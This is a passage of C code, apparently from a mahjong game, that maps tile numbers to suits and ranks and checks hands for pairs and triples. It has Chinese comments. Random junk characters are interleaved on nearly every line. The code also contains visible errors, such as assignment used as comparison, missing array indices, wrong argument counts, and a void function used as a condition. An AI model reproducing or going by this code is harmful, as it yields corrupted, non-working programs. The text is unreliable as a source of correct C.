5 o  ~' \) L& j, e8 y( w9 Alogoo=3;
+ K9 T2 r; u# w+ O# delse if(computer.pp[c].number&lt;=51 &amp;&amp; computer.pp[c].number&gt;=48)# y7 r, T  ^8 g* K/ q) m4 U$ Y. G0 H
logoo=4;
" f2 v- |* k4 `- q$ ~3 felse if(computer.pp[c].number&lt;=55 &amp;&amp; computer.pp[c].number&gt;=52), \4 P  \4 F9 _2 s  d4 r% }1 U$ B
logoo=5;
/ c+ ]1 q& I$ e. K& ]else if(computer.pp[c].number&lt;=59 &amp;&amp; computer.pp[c].number&gt;=56)  N& z9 Z3 F, Q7 b- f
logoo=6;' B7 Z" z3 d" [  h- ?( [
else if(computer.pp[c].number&lt;=63 &amp;&amp; computer.pp[c].number&gt;=60)
6 f2 Q& V9 n. S2 ]+ m. E7 ]3 V" Slogoo=7;
; w' w0 b6 A/ i* `else if(computer.pp[c].number&lt;=67 &amp;&amp; computer.pp[c].number&gt;=64)
1 q+ P1 v% V5 q0 d0 u8 k" ?6 i, e1 Rlogoo=8;
2 Z$ a* j- A: q$ d' Y( q- t4 k+ \9 Zelse if(computer.pp[c].number&lt;=71 &amp;&amp; computer.pp[c].number&gt;=68)
0 R7 s5 D, K* j! Z2 c  x! Z( G. `logoo=9;
) K/ q4 x1 i% ~8 G, p}
+ {4 Y/ G3 ^7 i. B/ e2 e! ]else if(computer.pp[c].number&lt;=107 &amp;&amp; computer.pp[c].number&gt;=72)
+ l. }1 y5 \& m$ l+ r{. r: R5 [7 m% v. S4 k
logo=3;
; `- `% E6 s4 }: i, gif(computer.pp[c].number&lt;=75 &amp;&amp; computer.pp[c].number&gt;=72)" a8 B1 t* w  Z" j/ Y: f6 p
logoo=1;
2 d0 Z* Y" ]. ?8 u0 @1 b3 N' h. Zelse if(computer.pp[c].number&lt;=79 &amp;&amp; computer.pp[c].number&gt;=76)1 t8 ?1 l: @6 S' l3 [
logoo=2;# J+ P' P8 W' ^$ R2 s
else if(computer.pp[c].number&lt;=83 &amp;&amp; computer.pp[c].number&gt;=80)
' i( c2 E, E) H7 ~& `0 Hlogoo=3;' A" O: s& Y' ^, f" H, A
else if(computer.pp[c].number&lt;=87 &amp;&amp; computer.pp[c].number&gt;=84)
+ L( N  j2 u8 [/ U4 G4 dlogoo=4;9 f# X5 y, H& C: O& i0 D& {5 |
else if(computer.pp[c].number&lt;=91 &amp;&amp; computer.pp[c].number&gt;=88)
7 F8 }" k9 D- y' V4 B3 P0 o  R$ Tlogoo=5;' F/ [% G: S) i* e: B* @
else if(computer.pp[c].number&lt;=95 &amp;&amp; computer.pp[c].number&gt;=92)6 O6 S' _; h* H5 I, H$ c
logoo=6;
: l1 `- d) l9 h0 n7 y1 relse if(computer.pp[c].number&lt;=99 &amp;&amp; computer.pp[c].number&gt;=96)6 g+ Z- R$ x! {: ?8 v% ?: b
logoo=7;7 K. E5 G& ^7 Q% u7 f9 a
else if(computer.pp[c].number&lt;=103 &amp;&amp; computer.pp[c].number&gt;=100)
) E* P) n; c3 u- S0 c" k6 h  m: hlogoo=8;
& a' }# y% f# V" ?/ K1 _else if(computer.pp[c].number&lt;=107 &amp;&amp; computer.pp[c].number&gt;=104)
1 b1 d. T  z  \# V5 o  ]; Plogoo=9;
3 e% |/ R0 Q5 V- T. o1 _( a}, C% u" V" L5 Q0 h
else if(computer.pp[c].number&lt;=135 &amp;&amp; computer.pp[c].number&gt;=108)
5 z- X( o5 C7 I4 O+ s: W{2 Q+ J- ]6 a( L2 L5 l9 R
logo=4;# \7 x7 U" i, J
if(computer.pp[c].number&lt;=111 &amp;&amp; computer.pp[c].number&gt;=108)
( t  P1 ?/ E5 @" I$ r5 Plogoo=1;) b0 ?; e3 t' T$ f. D/ ~
else if(computer.pp[c].number&lt;=115 &amp;&amp; computer.pp[c].number&gt;=112)
- L" M6 d; A7 B5 J9 elogoo=2;
& F( E. x! I. L% d+ x/ Aelse if(computer.pp[c].number&lt;=119 &amp;&amp; computer.pp[c].number&gt;=116), j% N8 c; D) x' U5 Y
logoo=3;( H) e0 Y- I+ l1 K7 V2 v
else if(computer.pp[c].number&lt;=123 &amp;&amp; computer.pp[c].number&gt;=120)* g8 F* [/ h5 D& G
logoo=4;; v, I  M$ N9 Y8 D$ f. M
else if(computer.pp[c].number&lt;=127 &amp;&amp; computer.pp[c].number&gt;=124)6 z* S) u: c  p* [, k* X
logoo=5;
* ]- Y- W- r6 `9 U) q* [& Q  l! C  `else if(computer.pp[c].number&lt;=131 &amp;&amp; computer.pp[c].number&gt;=128)! a$ N% l! g  T: {
logoo=6;0 Y- i+ Q, ^7 D- v6 o5 ]( a
else if(computer.pp[c].number&lt;=135 &amp;&amp; computer.pp[c].number&gt;=132)2 e& Q- @5 p" {/ X. |. \# k) A
logoo=7;
3 Z" Y" l5 }* r}
' f; e" D3 D$ `) N# C) d' fwhile(b&lt;=me.m)- y; B# S: V/ [% Z5 M: }7 g
{
; r$ u, j' [7 w2 v! P; dif(me.pp.number&lt;=35 &amp;&amp; me.pp.number&gt;=0) /*我分析后出了第一张牌*/
) C" z  b8 M+ a1 r" R6 s{- ^" A# o  W4 r0 o; A/ t
lg=1;7 I7 v) u% Y9 |7 }1 ?! T
me.pp.d[0]=1;9 Y( Y+ a) p& T: f% I
if(me.pp.number&lt;=3 &amp;&amp; me.pp.number&gt;=0)* {& x! ?- O4 p, k# p
{
1 W, f, ]0 H9 G# u& D0 Y' `lgg=1;
2 ]1 y& Y9 r5 K' U+ F* A2 ime.pp.d[1]=1;# b0 q) [2 Q! R$ b# x
}
  W) r+ y; ]- ^4 [% v, f' u. G9 q1 oelse if(me.pp.number&lt;=7 &amp;&amp; me.pp.number&gt;=4)
! Y! ]; B+ b& L2 Z# L{
6 Y4 P5 L( J  s$ o" @% algg=2;
0 Q8 s: h, d+ u; I& ]3 ?; `. H4 {me.pp.d[1]=2;$ \4 q0 N2 A' I1 K; n7 e
}% l2 o5 v" Z& T7 B$ D
else if(me.pp.number&lt;=11 &amp;&amp; me.pp.number&gt;=8)) m) O7 u% i4 v1 @. A
{
) s1 _# L: C! |2 Rlgg=3;. L% L( ]/ [* O! _2 @
me.pp.d[1]=3;
- a' y* E9 o$ u5 I}) S, t0 B2 B0 j
else if(me.pp.number&lt;=15 &amp;&amp; me.pp.number&gt;=12)
5 ^( n3 E* `1 d# M{" _. ~3 {0 D# G
lgg=4;
2 X9 E1 l( {: W! _me.pp.d[1]=4;  `  L# k3 s% A0 A% i# ?! I
}8 c1 {; O/ q2 Z1 R  m" H- c
else if(me.pp.number&lt;=19 &amp;&amp; me.pp.number&gt;=16)# o/ c5 L2 ?2 e" U9 {' M5 c
{1 f7 I, S: T& K$ _/ a. ~$ w, B1 g: @
lgg=5;
; ~4 p* `; c& a% ^+ yme.pp.d[1]=5;
' C  o" S- r5 g: P/ P}' [: E9 y! Y* q/ A6 [( c
else if(me.pp.number&lt;=23 &amp;&amp; me.pp.number&gt;=20)3 C, k" r! n( C9 @
{& D, R) ~7 O, p9 N/ g( M/ K* H
lgg=6;
5 L# V0 _! h+ Q& |1 s; F2 O7 Ime.pp.d[1]=6;/ r8 M9 q( O1 F) k
}% {" n1 {4 Z1 E0 e! r# x0 h! M
else if(me.pp.number&lt;=27 &amp;&amp; me.pp.number&gt;=24)
) q( E" ~, N# j8 \2 e. d{) t4 c) U% [& |; K0 n/ [
lgg=7;
& w) g1 L( `+ [/ w2 xme.pp.d[1]=7;! E2 v2 Y9 k8 C! _& v4 `
}
  t+ q$ [& U1 e5 W- a) belse if(me.pp.number&lt;=31 &amp;&amp; me.pp.number&gt;=28)
5 \* x) i5 i; r+ w9 _( ?1 S4 R0 E{- J2 ^2 s4 h5 i7 y  g: i' T8 h3 n
lgg=8;* _. v3 w0 G& I( o1 J
me.pp.d[1]=8;
9 D: a) s5 T, {  i: o: @" B* v}
7 a5 @5 w; I9 Helse if(me.pp.number&lt;=35 &amp;&amp; me.pp.number&gt;=32)
9 t+ T$ T& s4 V4 a. W, T. s& O* b{
: g/ ^5 B4 e6 E7 n0 j5 elgg=9;$ N8 Y8 ?! h: j3 `) \+ w) {/ B
me.pp.d[1]=9;
8 |2 }; `" [' b0 p}
6 }0 h6 P& S5 g6 ^% W  z7 z# P}
/ [% L! s% ~$ I, ~/ o9 welse if(me.pp.number&lt;=71 &amp;&amp; me.pp.number&gt;=36)% [1 l4 I" u' C4 {3 k
{7 C+ l# X5 ]/ |; j
lg=2;
; ^. d, y$ T+ Kme.pp.d[0]=2;: D& {9 J2 W1 X
if(me.pp.number&lt;=39 &amp;&amp; me.pp.number&gt;=36)
' Y; R( O; z5 |# b; Q  Z5 u{/ m8 v1 Q% a% U
lgg=1;
) {! d5 x4 x( Wme.pp.d[1]=1;
2 G' I' e- w7 x3 {}
1 M5 W# M2 j. f( S* ]2 W$ d, Xelse if(me.pp.number&lt;=43 &amp;&amp; me.pp.number&gt;=40)
3 N' F2 }; u7 c$ `( i7 B# \9 D{
& Y3 s1 Y  [. |7 X7 f: ]lgg=2;3 }/ F# X3 |' |' e8 J6 E) t4 V
me.pp.d[1]=2;
6 u6 _! T# C8 a7 s}' V. M& c6 Y0 M" U
else if(me.pp.number&lt;=47 &amp;&amp; me.pp.number&gt;=44)
) Z# I% X; m. y0 p5 H{
+ w/ C# e/ s8 p4 M/ qlgg=3;# V3 d, A; S" m" p$ L0 Z
me.pp.d[1]=3;2 F; ~5 ]$ i9 x1 d& v, {9 Y
}# |: S6 {- p5 w" U* [$ C. y6 h
else if(me.pp.number&lt;=51 &amp;&amp; me.pp.number&gt;=48)+ M% E* r- S% @! h
{
1 c4 m/ |! \! I. W' algg=4;
# B1 T/ B- D- W* Tme.pp.d[1]=4;: c8 v+ ^5 D% d! x
}: [% }2 e" v7 B) r. z- X$ t, H
else if(me.pp.number&lt;=55 &amp;&amp; me.pp.number&gt;=52)& I8 J1 T3 |' r4 v
{
% l8 e/ @; l5 J2 W1 c) Olgg=5;4 g- W- Q# n; n% D, h5 \
me.pp.d[1]=5;: c; q8 S( b, I  s9 z7 ~3 }
}% m& e4 x8 l1 L
else if(me.pp.number&lt;=59 &amp;&amp; me.pp.number&gt;=56)
- W- D$ G$ k* J6 ]7 [{4 T( h  Q3 J- m3 j. q. |
lgg=6;
' l5 G& T% u: [% \$ a- b* v3 b& Ome.pp.d[1]=6;# J! D2 j- Y2 r6 m0 r5 e3 ~
}. K5 t  I  Q% j0 j  A. u; f
else if(me.pp.number&lt;=63 &amp;&amp; me.pp.number&gt;=60)% ~4 z3 h) `* Q- P2 ]' s
{( _& x% F: {- g5 T7 Y* p
lgg=7;$ Y& \' E: _# O' E7 A4 Q+ y
me.pp.d[1]=7;
% I9 F+ G& h0 Z6 P% P4 v2 m- {$ \}: J# e1 M6 P6 k
else if(me.pp.number&lt;=67 &amp;&amp; me.pp.number&gt;=64)
: p' S4 t, L# `  x{/ ]# Z- N* u" l& L- R  r
lgg=8;
2 E" j' y; `7 y" vme.pp.d[1]=8;
' o% k% \6 z# x1 G3 a}
. Q0 z* H4 M, }# h4 Oelse if(me.pp.number&lt;=71 &amp;&amp; me.pp.number&gt;=68)
7 F8 u* n9 H% b) c7 h" t{/ ~, o9 _/ G. i  [! I
lgg=9;8 i( L8 Q5 k' ?
me.pp.d[1]=9;  e* _8 J, B/ |; t" T5 f6 t
}
' y4 ~' U% }8 V: K% [  P; C}
* |' N- {2 g' }0 O% M8 k( v- }# kelse if(me.pp.number&lt;=107 &amp;&amp; me.pp.number&gt;=72)1 J+ t) G4 l# x( a- e8 F
{
- r$ e) q+ }1 a6 L; K: O! ilg=3;
' z" V( U+ [& C% R0 Z( q; sme.pp.d[0]=3;
% n$ ?! r6 h! jif(me.pp.number&lt;=75 &amp;&amp; me.pp.number&gt;=72)
, O/ _3 a9 W7 ]# Y- p8 i{! M  u  c# _7 |+ O' H. X  {5 |
lgg=1;
( Y' K8 h1 u' n9 B; ?me.pp.d[1]=1;( z$ S6 c7 L7 L: o! `4 N, T& v. t6 [5 J
}( a( _. h4 J; g. n( P8 M8 u3 Q6 T
else if(me.pp.number&lt;=79 &amp;&amp; me.pp.number&gt;=76)
5 W8 S' W- ]0 K( E6 y6 W{
3 U- B- T/ h3 l# Vlgg=2;
) j. Z( Z& {( R) B! q- L8 yme.pp.d[1]=2;* }& k7 }. a6 c' t9 D$ b, ?
}: }5 m# W2 q) P! z, X
else if(me.pp.number&lt;=83 &amp;&amp; me.pp.number&gt;=80)
- Y2 c. U& [- M" C7 |{
) Q/ l3 H& J8 F1 L+ v% U6 Qlgg=3;
4 u, X* d* |: O$ g6 C2 |' y* Hme.pp.d[1]=3;7 C7 b3 R: r& X: c
}0 ^/ F1 N2 _2 u1 C
else if(me.pp.number&lt;=87 &amp;&amp; me.pp.number&gt;=84)
4 d+ e- ?) w" H( e7 R; {{
" L9 U& }1 v+ k. d& U3 s( b  B4 Z3 qlgg=4;/ Q# L6 Z, g# v& M, i3 r
me.pp.d[1]=4;3 K. G+ F5 E1 _4 I
}
9 U5 U) O, q4 Delse if(me.pp.number&lt;=91 &amp;&amp; me.pp.number&gt;=88)0 {& ?" U4 G" E6 ]9 P. k
{% Q2 U0 o7 `6 R
lgg=5;
& a, F! ]& d& cme.pp.d[1]=5;" g: V1 k6 I9 }" ]0 M6 M
}
, Z" i$ ]0 u. U* e" g+ Felse if(me.pp.number&lt;=95 &amp;&amp; me.pp.number&gt;=92)
: E" @/ T" h  j$ ~{; B0 _8 v# P! i/ L; ~& ]
lgg=6;  [/ J7 Y( m7 d' U
me.pp.d[1]=6;
( M: o# g$ U1 p/ j$ _! y  E6 X0 o}
) u) S$ [3 U- H/ k, E6 Melse if(me.pp.number&lt;=99 &amp;&amp; me.pp.number&gt;=96), H! C. k! s& j$ h5 a2 a/ Z
{
7 f+ g+ S$ z  t! w+ S& a5 P4 e$ N6 ulgg=7;
8 }: G/ {/ M5 F' H7 N# _me.pp.d[1]=7;9 |6 o( f9 D4 o8 W
}, v; a& `9 V# V3 E
else if(me.pp.number&lt;=103 &amp;&amp; me.pp.number&gt;=100)9 U+ ]. t: c& e* @) V
{1 T4 l' A7 z2 j$ B+ S* B1 f) T
lgg=8;
: g5 ]3 \; h& N2 V! Bme.pp.d[1]=8;6 i3 r7 q9 G3 [+ o4 k
}6 w: t7 o6 F# \5 g% H1 D
else if(me.pp.number&lt;=107 &amp;&amp; me.pp.number&gt;=104)
+ w. u& T# Z" `7 p; l  d{$ M* Q4 V! E5 l# L- _% T! r
lgg=9;
- T" [5 N5 U) r$ R/ Dme.pp.d[1]=9;
8 }0 t5 P% j3 h. b: M}6 Q( z6 R/ s/ F" |2 K
}5 E2 y7 p& ~# ?
else if(me.pp.number&lt;=135 &amp;&amp; me.pp.number&gt;=108): K  K8 y# O3 |$ H8 q7 h3 x, n8 ~
{% M" r) t* C7 Z4 F3 E; e
lg=4;: ]* f, L6 T3 l$ f
me.pp.d[0]=4;
& u8 p: _; r5 H) Jif(me.pp.number&lt;=111 &amp;&amp; me.pp.number&gt;=108)
0 _( \: h' T# r: m. u1 U{
3 ]( K) M6 R, E8 P3 M5 x! ~* {3 qlgg=1;
5 U. Q: p: N) E. |( B( Z! tme.pp.d[1]=1;' Y) L2 p# R3 X+ v/ A
}
0 h' q7 N7 V/ `* V6 u7 t. gelse if(me.pp.number&lt;=115 &amp;&amp; me.pp.number&gt;=112)0 r1 }7 ~6 E# W% L( e
{9 S! g: G. r9 e7 y9 u7 s
lgg=2;
& B( u( o7 j% v5 v4 O$ T! |me.pp.d[1]=2;
& K% p0 R+ P7 `$ ]}
% t7 r0 G, c* b% \else if(me.pp.number&lt;=119 &amp;&amp; me.pp.number&gt;=116)$ e6 m3 K, f1 U6 [" w! {
{% s5 W7 ~4 L2 j! n3 i
lgg=3;
$ `: \9 @8 b0 e2 sme.pp.d[1]=3;
% i+ i. I  O; N2 S}0 c- v# Z, y, Y# f3 k- C
else if(me.pp.number&lt;=123 &amp;&amp; me.pp.number&gt;=120)
! D: c  B$ h$ i7 ]$ O+ L7 B) n* i{# S8 ^- V6 N- L5 M' ~" o; w5 ?
lgg=4;
8 e7 e; `, F" s% n1 Z& w  Jme.pp.d[1]=4;( B% P) l  {6 J: x
}
# j! O( R  j  p! d& G- aelse if(me.pp.number&lt;=127 &amp;&amp; me.pp.number&gt;=124)
- Z6 k8 m' v5 D: P{
5 Z7 D7 m5 O4 N5 M' U8 @+ Mlgg=5;7 O: ?4 N0 a$ y( P
me.pp.d[1]=5;3 b* ~5 i+ R8 R0 N/ }6 u: `
}- N2 ?4 r% A" ~! A  [
else if(me.pp.number&lt;=131 &amp;&amp; me.pp.number&gt;=128)! l( w7 ~1 \- X  ^6 N4 p
{
% {! \: s3 s& y! M) T0 hlgg=6;
  I: Y% G* u- I3 t) E& Ime.pp.d[1]=6;) s& n: g* j- H. |/ C8 q
}" Z* t5 O% Q2 J+ T
else if(me.pp.number&lt;=135 &amp;&amp; me.pp.number&gt;=132)+ n% e, t+ c: ?( l" K" e
{0 h( \/ N. L: _. p$ ?3 V6 S
lgg=7;
' V1 ^" w7 v4 ~( P3 K5 ime.pp.d[1]=7;1 m9 P( k* _+ G6 e$ ]' s0 g- v
}7 U0 u2 P' W) ^1 n! n, f$ x9 X5 R
}% u# A& ?- a0 O; [
}
8 h5 Q, r% |8 l. m}
3 Q- S: Y2 l2 @void istwo(testt)
6 {( l$ ?8 ^) p2 jint testt[];
4 U/ O! e3 j% w9 s: g+ x: h{ if(testt[0]==testt[1])4 J. H0 S, _1 Z5 y3 m8 R
second++;
# E2 j% P  H' J$ R. ~}" ~9 h1 d$ s$ r* x4 L: q
void isthree(testt,n)
& R- k5 K/ N1 j- |+ ~int testt[],n=0;
4 e1 K/ U8 y. c) j% J. Q{ int i,j,flage=0,lianx=0,same=0;9 q5 m6 P7 L1 N& H% e/ \
n=n/3;/ O* M3 ~: S' m  I& ^9 s- w# [+ j
for(j=0;j&lt;n;j++)
6 I; W7 Y. e0 A3 B! H0 [{
. ^) p) [2 n- M- j2 o3 N& Sfor(i=j*3;i&lt;2+j*3;i++)
* k- R' u4 Z* J* k+ x! M' c6 `. c{
1 t2 a7 b/ I& H: v( V  K/ l- A) [if(testt==testt[i+1])
3 N6 H5 \5 U+ s( e& Gsame++;, e0 a+ b/ m/ @1 T+ U9 H
if(testt[i+1]-testt==1)
" Q! x1 T# }: Mlianx++;" ~+ N% Y$ R$ }  P( V7 `7 ~$ _8 d
}" `3 J3 h0 C# E8 W# Y
if(same==2)
- q0 n5 J9 Z3 s/ Nthrees++;% g) H/ i# b2 Y, I$ a  r: ]+ ^& a! z
if(lianx==2)1 v/ ~( p- q9 L) @' f
threes++;4 m6 k. f$ p2 ^+ C- L. ^( G
same=0;
( I6 Q" [& j5 W& llianx=0;
) _5 I; l; g1 k& j0 ^" U) j}. i2 @  A/ z5 T: y4 R
}, d( b* n6 e6 A' T+ h% j
void panduan() /*本程序的精髓*/
+ Y: j0 g$ U' M8 Y& u( Y{int data[14];
  j# I$ m$ D2 K. c5 F/ wint pw[14];
$ \# h4 {' n* S& q" _int pt[14];5 z) h: K) F1 g" g+ {
int pi[14];
" G, B- K5 u) X" f9 v3 e3 j4 Tint pf[14];
4 q7 T  t9 _, e" T. Pint test[12];
3 I1 u! f" F9 U( C: {/ x; x- eint jj,w,mm,nn,tpp=0,lp=0,ww=0,tt=0,ii=0,ff=0;ill=0;
7 K$ }0 _( e3 ~2 Yfor(jj=0;jj&lt;=me.m;jj++)
3 m5 w' V$ h) D1 G- L0 M2 V9 b{2 U' p  M. c- D1 J( m
if(me.pp[jj].d[0]==1)
/ S4 j7 \- Q" i, Wdata[jj]=me.pp[jj].d[1];9 M2 }: k  h6 O* A! S1 K* i
if(me.pp[jj].d[0]==2)1 E5 J& l4 ?: f% R2 V3 N
data[jj]=me.pp[jj].d[1]+10;# o) {5 \0 L3 Z5 z4 U! G2 P" c
if(me.pp[jj].d[0]==3)/ _' A, Y" G" |) _
data[jj]=me.pp[jj].d[1]+20;6 p4 F/ B0 `4 c6 w
if(me.pp[jj].d[0]==4)
, G# x. k0 P0 ]& ^data[jj]=me.pp[jj].d[1]+30;
  P) D9 o$ \. t6 x" ?) ^}
) x, g, C8 m. E! b; {if(logo==2)
; ?* Z0 w- U2 k: \: hw=logoo+10;
! P4 w' T, \* w  \4 ~if(logo==3)+ l; x% U2 }" _4 P7 p1 B
w=logoo+20;9 w9 l  @! `9 J; f
if(logo==4)
" o# q+ {" \5 I% ~! I2 B' xw=logoo+30;4 C. x$ a- [# p, a7 W7 g
data[computer.m+1]=w;
; }# `& \7 A+ lfor(mm=0;mm&lt;=computer.m;mm++)
& B: m% o, U) D, efor(nn=mm;nn&lt;=computer.m;nn++)
+ a( M! W/ e; p5 y3 [$ O" Rif(data[mm]&gt;data[nn+1]), }0 g1 b5 Y. V
{
2 h/ F+ C( i  \7 utpp=data[mm];
3 }3 M$ v4 y# I  m# Gdata[mm]=data[nn+1];
, S! y. Y( Z$ k% b4 B+ Hdata[nn+1]=tpp;
2 Q: I# c7 G5 p8 V$ X! i3 z$ \* F}( W1 @4 M3 a# N( E
lp=0;
8 T' Y  B" Y8 n7 ?' f( O2 Lwhile(lp&lt;=computer.m)
: H1 a( T1 n6 ?3 ]; Q* `. t{ if(data[lp]&lt;10)
) N/ {3 @1 f3 v1 P( j: F- Wpw[ww++]=data[lp];8 |: Q9 Y3 G% n9 u6 x+ g
if(data[lp]&gt;10 &amp;&amp; data[lp]&lt;20)
7 A+ I8 P* D0 S1 _! @" {pt[tt++]=data[lp];
$ M( U, }, j. u* ~6 D7 h& D# Cif(data[lp]&gt;20 &amp;&amp; data[lp]&lt;30)
* M8 V/ U; p3 f/ j# i$ ^pi[ii++]=data[lp];- W5 ~0 t0 ~+ ^
if(data[lp]&gt;30 &amp;&amp; data[lp]&lt;38)
1 M% O# K1 u" T! K  |, O& x' ~pf[ff++]=data[lp];0 x1 d/ i; G9 }2 j& Q7 l
lp++;2 G; _5 l0 s! E* I  W" `& g  M6 C# `
}
+ B& P* a2 g. _' fif(ww==2)
9 t8 O. W& [/ M$ }" Q4 E3 Bistwo(pw);, y: i+ H& t9 P3 j; A0 n
else if(ww==3)
; h- ]  R1 Q8 D5 W: [4 I% \isthree(pw,ww);
, f7 ]. C7 W' y) ?* V7 Belse if(ww==5)! P! b1 e8 r9 a2 C
/*pw[5]原始牌数组,假设已经升序排列*/
% j! D, Z4 v* X6 Q7 \. a( P# z& ~/*test[3]用来放置测试牌的数组*/
) F5 z/ J0 T" Q1 q6 afor(i=0;i&lt;4;i++)) s0 P$ ?1 U( l" U) f, g6 E
{. z9 b, K$ z, `7 Q& c  s' J8 S
for(j=0;j&lt;2;j++)5 y# z$ ^1 L8 v; e) X
{test[j]=pw[i+j];8 P1 F$ c- q. v  j
}  l7 d. f. ?3 j8 C* o& p7 [
if(istwo(test))7 \$ T- {5 e, v
{ ill=0;% s6 U2 b' I/ p6 H! P
for(kl=0;kl&lt;5;kl++) /*把不在test数组中的三张放到test数组中*/* C" c( y4 |0 A4 l8 q8 H& F
{if(kl==i)
6 H" z. O5 u, P. N- r{
8 V. _9 k- ]" k! d& Lkl=kl+2;
5 C! l* K, G8 A- I, f: |% V; hif(kl==5). v: L1 |" ]# }: k
break;
' S+ [, p! j8 h}: g0 ?  K* o# i- s4 _4 X1 ^
test[ill++]=pw[kl];2 J! v( s6 I; F
}4 F$ T2 ^2 \( }% D" s* t: A
isthree(test);2 z1 z8 c; c( }/ A
}
0 i7 U# g  ~/ ]) x2 s) n5 X1 c- d}, X: L3 c2 T' [' c7 E
else if(ww==6)
4 P2 z- C: h( |5 o8 [# o5 l( y- xisthree(pw,ww); # f" O) s! X+ f/ S  k, U5 [9 B
else if(ww==8)
" V, d) i, R' ^# I/ g, r% S5 Rfor(i=0;i&lt;7;i++)( ^6 d! p8 y" x9 J  C2 M( N
{  I/ n- U/ [6 O; |- F7 A0 N# ?
for(j=0;j&lt;2;j++)
4 m' \. [6 f9 Q3 k{test[j]=pw[i+j];
9 [; D9 o. m" ~& {1 D( n% n}
$ q7 y5 ]. U! h5 R9 d7 D; S+ T8 R+ sif(istwo(test))/ D, V+ O4 I( \: k% B
{ ill=0;: }( C+ @; V: ^$ h+ j/ |) ~3 C
for(kl=0;kl&lt;8;kl++) /*把不在test数组中的六张放到test数组中*/
1 {3 F& q+ }% Q. X* q, _{if(kl==i)
& o( U0 U* y+ H/ A' q% [, U9 B/ M{
2 t. k# B3 K) Y% Skl=kl+2;
* G1 G( c7 g8 s& ~/ Qif(kl==8)3 g. c+ N9 y1 X6 L7 ~! W5 d
break;
5 I% k/ P$ Z8 b8 \* V- o, l8 D8 J}5 b( `; k1 i6 D. z) _
test[ill++]=pw[kl];
* p; }4 Q0 X' t- A0 S) C}# C% r6 s- E9 ~+ |& [
isthree(test,ww-2); : f2 @- W/ ^1 [1 L+ W* b7 d
}) w! V9 N& u; Z- j! X0 ~) H
}
% ~# z( S/ Y5 Gelse if(ww==9)* g7 \' g, Q6 T! C3 h+ m
isthree(pw,ww);
6 @2 _4 Z+ |  ?else if(ww==11)
; p- d" |3 T+ V0 c% j6 S  u! ofor(i=0;i&lt;10;i++)
" m) z) l  v7 C4 M. z0 _1 |{9 f, S! t* B! Z+ |! k$ m
for(j=0;j&lt;2;j++)" c; E0 c' P+ R, F. r. p
{test[j]=pw[i+j];
- C2 ?" F' y7 g- j8 z) x}
1 l$ j$ e& C* I4 H5 e6 F) lif(istwo(test))1 p  c, Z: a/ J" X4 |
{ ill=0;
+ B4 d! q, Y& r% Yfor(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/6 M& e. x) H* w& G1 {7 x* X9 K0 R
{if(kl==i)
' h" ^/ t- R2 n: I1 T! n" `0 d; ^{" p' H  U4 M$ G. i
kl=kl+2;
: M# s/ ]. G0 H5 U6 `- _: c# ?if(kl==11): Z4 Q9 ?0 c: ]+ x4 y
break;$ _/ |; k8 J0 P$ X8 j
}
' E' ]0 |7 M, b0 {# ?3 }% Ttest[ill++]=pw[kl];
/ w0 n, o* l; r) P- ?% R' ^) |}+ F: [6 `4 ]6 H3 c
isthree(test,ww-2);
9 f. A2 P5 }; R' R% |9 r}
; i* ~( Q; M) C7 f}
! h& |7 N6 J$ \/ I1 k8 A7 w3 lelse if(ww=12)" [& m/ P) x0 X  D3 {% Z
isthree(pw,ww);
& `& A4 x  A7 l8 U1 ~1 Aelse if(ww=14); S; R" X, c' {0 B( V( c  Z3 G3 {/ ~
for(i=0;i&lt;13;i++)
* @$ h$ u( I1 \* k0 l; Q4 R{
( P0 x" j4 f9 C1 pfor(j=0;j&lt;2;j++)( X$ W; n7 H# a
{test[j]=pw[i+j];
  ^) q& O, e) `) g5 u3 ]}
" t" F, W* S$ M2 e0 Qif(istwo(test))
( L( I1 o8 D4 a7 c2 {0 o/ }' f{ ill=0;  [2 I3 @0 H3 B: @1 h2 p/ R
for(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/! H% K6 X# P8 W8 F
{if(kl==i)
( }) P1 h/ a7 i( H3 L{
' c$ w- t( m1 dkl=kl+2;
  N9 }& ~/ B7 Mif(kl==14)6 d3 |% \  h9 J& ]2 _
break;( t/ e& q6 `+ _+ W+ n
}- d6 r8 j/ j# j  u& [, \
test[ill++]=pw[kl];
$ C; [# M  g- i" v2 f+ ^}
; i, M* i! ]+ {+ _9 G5 Eisthree(test,ww-2); 0 V9 x6 C. J) R
}
8 U  L4 H& ^& Q* ^& X8 s, Z}7 ^( c" A5 J0 a# ]' |5 ^8 c
if(tt==2)
8 e- z+ q' D+ b& D3 o9 M* A# ]istwo(pt);
5 E( v8 i2 B* d/ V3 i* |1 F4 celse if(tt==3); e# _3 h4 j/ I# s
isthree(pt,tt);+ w% x' W2 g! M& {6 P5 G7 ^
else if(tt==5)4 ?7 N; R  S9 k
/*pt[5]原始牌数组,假设已经升序排列*/  I# d# A7 I; a* l6 p( _: L6 Q
/*test[3]用来放置测试牌的数组*/" W2 e" x! i/ d4 G4 Y- J6 m
for(i=0;i&lt;4;i++)
5 q. Z8 O) g) E{
- w% T: f1 i9 d" }" Q7 Ufor(j=0;j&lt;2;j++)
( n$ Y' ?6 g3 m/ s3 u{test[j]=pt[i+j];
3 ]# U* j, n5 x}
5 X/ B- e. e) J* z# R5 _if(istwo(test))& T: X/ l# c6 |3 P' u3 i$ l
{ ill=0;5 T7 ^) h; z; G3 |
for(kl=0;kl&lt;5;kl++) /*把不在test数组中的三张放到test数组中*/3 T% _! V+ H( v2 B/ P
{if(kl==i)$ _: j, x0 o1 Q: t; J
{0 t% b9 {4 b  p3 M8 p
kl=kl+2;/ N3 W3 R1 b5 S) f
if(kl==5)+ A/ Z# f9 Q2 s; q. G
break;' z# d6 K3 e& Q. M" W
}4 l, f9 y" a$ n0 V
test[ill++]=pt[kl];, [) r$ w' W) S/ J; T
}
' J! n  N( q* h' _8 g& `5 Uisthree(test);
- N6 O/ Z* p* S$ d}
$ J" b  Q7 k6 C. E. g: Y}
7 C  J+ c, q: `else if(tt==6)
6 ?9 }, [) E' `4 aisthree(pt,tt);
5 P9 A( F7 t9 N7 m, Gelse if(tt==8)
  O+ D# b* L  ^6 G& V3 P3 ufor(i=0;i&lt;7;i++)
. [$ {/ h' m8 ^* W7 |) z1 {{% b+ T; i8 o# t$ B7 f: V
for(j=0;j&lt;2;j++)
* r0 p# X1 O  c  U, v4 |/ v{test[j]=pt[i+j]; & ^( F0 m+ E2 d- t  A4 G
}/ O- m+ C, K. H
if(istwo(test))0 z0 T* z2 Y6 m" o) z: A  i8 u2 ]
{ ill=0;
